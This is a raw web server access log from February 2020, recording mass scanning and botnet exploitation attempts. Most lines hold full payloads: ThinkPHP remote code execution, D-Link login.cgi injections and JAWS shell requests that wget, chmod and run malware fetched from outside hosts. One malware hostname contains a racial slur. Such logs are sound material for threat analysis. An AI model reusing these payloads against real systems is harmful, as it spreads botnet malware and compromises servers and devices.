190.28.111.56 - - [09/Feb/2020:04:26:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
83.97.20.33 - - [09/Feb/2020:04:26:55 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.33 - - [09/Feb/2020:04:27:10 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
83.97.20.33 - - [09/Feb/2020:04:27:52 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.33 - - [09/Feb/2020:04:28:07 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
73.5.248.186 - - [09/Feb/2020:04:28:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.132.212.236 - - [09/Feb/2020:04:29:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.248.141.70 - - [09/Feb/2020:04:30:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.34.166 - - [09/Feb/2020:04:31:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.181.86.79 - - [09/Feb/2020:04:35:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
109.87.103.88 - - [09/Feb/2020:04:38:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
79.41.27.49 - - [09/Feb/2020:04:38:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
118.68.125.109 - - [09/Feb/2020:04:40:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.43.103 - - [09/Feb/2020:04:41:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.9.148.211 - - [09/Feb/2020:04:42:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.16.156.121 - - [09/Feb/2020:04:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.118.71.210 - - [09/Feb/2020:04:46:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:04:51:28 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
187.193.168.147 - - [09/Feb/2020:04:53:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
202.40.178.226 - - [09/Feb/2020:04:53:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.117.20.169 - - [09/Feb/2020:04:54:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.34 - - [09/Feb/2020:04:55:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.34 - - [09/Feb/2020:04:55:36 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.34 - - [09/Feb/2020:04:55:50 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
83.97.20.34 - - [09/Feb/2020:04:56:32 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.34 - - [09/Feb/2020:04:56:47 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
185.42.195.84 - - [09/Feb/2020:04:57:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
181.110.161.100 - - [09/Feb/2020:05:02:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
193.57.40.38 - - [09/Feb/2020:05:08:51 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:05:10:35 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:05:12:36 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:05:14:17 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.232.34.206 - - [09/Feb/2020:05:14:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.80.175.33 - - [09/Feb/2020:05:16:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.151.86.159 - - [09/Feb/2020:05:17:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:05:19:38 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:05:20:16 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
113.22.15.115 - - [09/Feb/2020:05:21:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.202.240.18 - - [09/Feb/2020:05:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
90.84.192.75 - - [09/Feb/2020:05:23:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [09/Feb/2020:05:24:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
82.81.7.109 - - [09/Feb/2020:05:26:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
90.154.122.85 - - [09/Feb/2020:05:29:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.48.114.250 - - [09/Feb/2020:05:29:53 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
177.87.3.8 - - [09/Feb/2020:05:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
112.72.92.163 - - [09/Feb/2020:05:31:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.92.197.105 - - [09/Feb/2020:05:31:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
64.227.55.76 - - [09/Feb/2020:05:31:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.230.140.245 - - [09/Feb/2020:05:34:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.190.47 - - [09/Feb/2020:05:37:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.231.116.221 - - [09/Feb/2020:05:40:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.4 - - [09/Feb/2020:05:43:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.25.185.196 - - [09/Feb/2020:05:44:10 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.185.196 - - [09/Feb/2020:05:44:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
1.55.73.154 - - [09/Feb/2020:05:46:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.199.254.23 - - [09/Feb/2020:05:47:18 +0100] "GET /wp-login.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
89.233.219.37 - - [09/Feb/2020:05:48:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.25.185.196 - - [09/Feb/2020:05:49:53 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.185.196 - - [09/Feb/2020:05:49:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
118.68.125.109 - - [09/Feb/2020:05:49:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.96.234.89 - - [09/Feb/2020:05:52:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.25.185.196 - - [09/Feb/2020:05:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
78.85.40.133 - - [09/Feb/2020:05:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
36.82.218.61 - - [09/Feb/2020:05:54:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
85.25.185.196 - - [09/Feb/2020:05:55:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
42.117.64.239 - - [09/Feb/2020:05:55:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.178.8.198 - - [09/Feb/2020:05:56:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:05:56:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:05:56:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:05:56:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:05:57:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
109.207.213.245 - - [09/Feb/2020:05:57:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.32.23.221 - - [09/Feb/2020:05:57:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.25.185.196 - - [09/Feb/2020:06:00:30 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.185.196 - - [09/Feb/2020:06:00:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
95.181.45.238 - - [09/Feb/2020:06:01:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.25.185.196 - - [09/Feb/2020:06:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
23.100.232.233 - - [09/Feb/2020:06:05:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0;  Trident/5.0)"
210.103.77.253 - - [09/Feb/2020:06:05:07 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
85.25.185.196 - - [09/Feb/2020:06:05:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
194.242.2.32 - - [09/Feb/2020:06:05:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.25.185.196 - - [09/Feb/2020:06:06:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
79.175.92.68 - - [09/Feb/2020:06:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.52.154.228 - - [09/Feb/2020:06:08:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.25.185.196 - - [09/Feb/2020:06:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
42.119.241.137 - - [09/Feb/2020:06:09:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.114.224.102 - - [09/Feb/2020:06:10:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.121.248 - - [09/Feb/2020:06:10:30 +0100] "GET / HTTP/1.1" 200 1229 "https://virtual-zaim.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)"
46.118.121.248 - - [09/Feb/2020:06:10:31 +0100] "GET / HTTP/1.1" 200 1229 "https://virtual-zaim.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)"
46.118.121.248 - - [09/Feb/2020:06:10:31 +0100] "GET / HTTP/1.1" 200 1229 "https://virtual-zaim.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)"
85.25.185.196 - - [09/Feb/2020:06:12:56 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.185.196 - - [09/Feb/2020:06:12:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
178.79.157.175 - - [09/Feb/2020:06:13:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
66.175.211.8 - - [09/Feb/2020:06:13:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
66.175.211.8 - - [09/Feb/2020:06:13:32 +0100] "Gh0st\xad" 501 321 "-" "-"
66.175.211.8 - - [09/Feb/2020:06:13:36 +0100] "HELP" 501 319 "-" "-"
66.175.211.8 - - [09/Feb/2020:06:13:36 +0100] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc" 501 350 "-" "-"
66.175.211.8 - - [09/Feb/2020:06:13:38 +0100] "\x16\x03\x01" 501 318 "-" "-"
66.175.211.8 - - [09/Feb/2020:06:13:39 +0100] "\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff" 400 329 "-" "-"
85.25.185.196 - - [09/Feb/2020:06:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
113.23.32.154 - - [09/Feb/2020:06:16:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.80.240.151 - - [09/Feb/2020:06:19:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.146.203.122 - - [09/Feb/2020:06:22:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.152.58.237 - - [09/Feb/2020:06:28:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.117.109.31 - - [09/Feb/2020:06:30:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.175.211.8 - - [09/Feb/2020:06:30:26 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.79.20.25 - - [09/Feb/2020:06:30:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.79.20.25 - - [09/Feb/2020:06:30:29 +0100] "Gh0st\xad" 501 321 "-" "-"
45.79.20.25 - - [09/Feb/2020:06:30:33 +0100] "HELP" 501 319 "-" "-"
45.79.20.25 - - [09/Feb/2020:06:30:33 +0100] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc" 501 350 "-" "-"
45.79.20.25 - - [09/Feb/2020:06:30:35 +0100] "\x16\x03\x01" 501 318 "-" "-"
45.79.20.25 - - [09/Feb/2020:06:30:37 +0100] "\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff" 400 329 "-" "-"
1.32.51.106 - - [09/Feb/2020:06:31:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
88.135.83.153 - - [09/Feb/2020:06:31:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
49.68.246.198 - - [09/Feb/2020:06:33:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
183.80.223.137 - - [09/Feb/2020:06:33:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
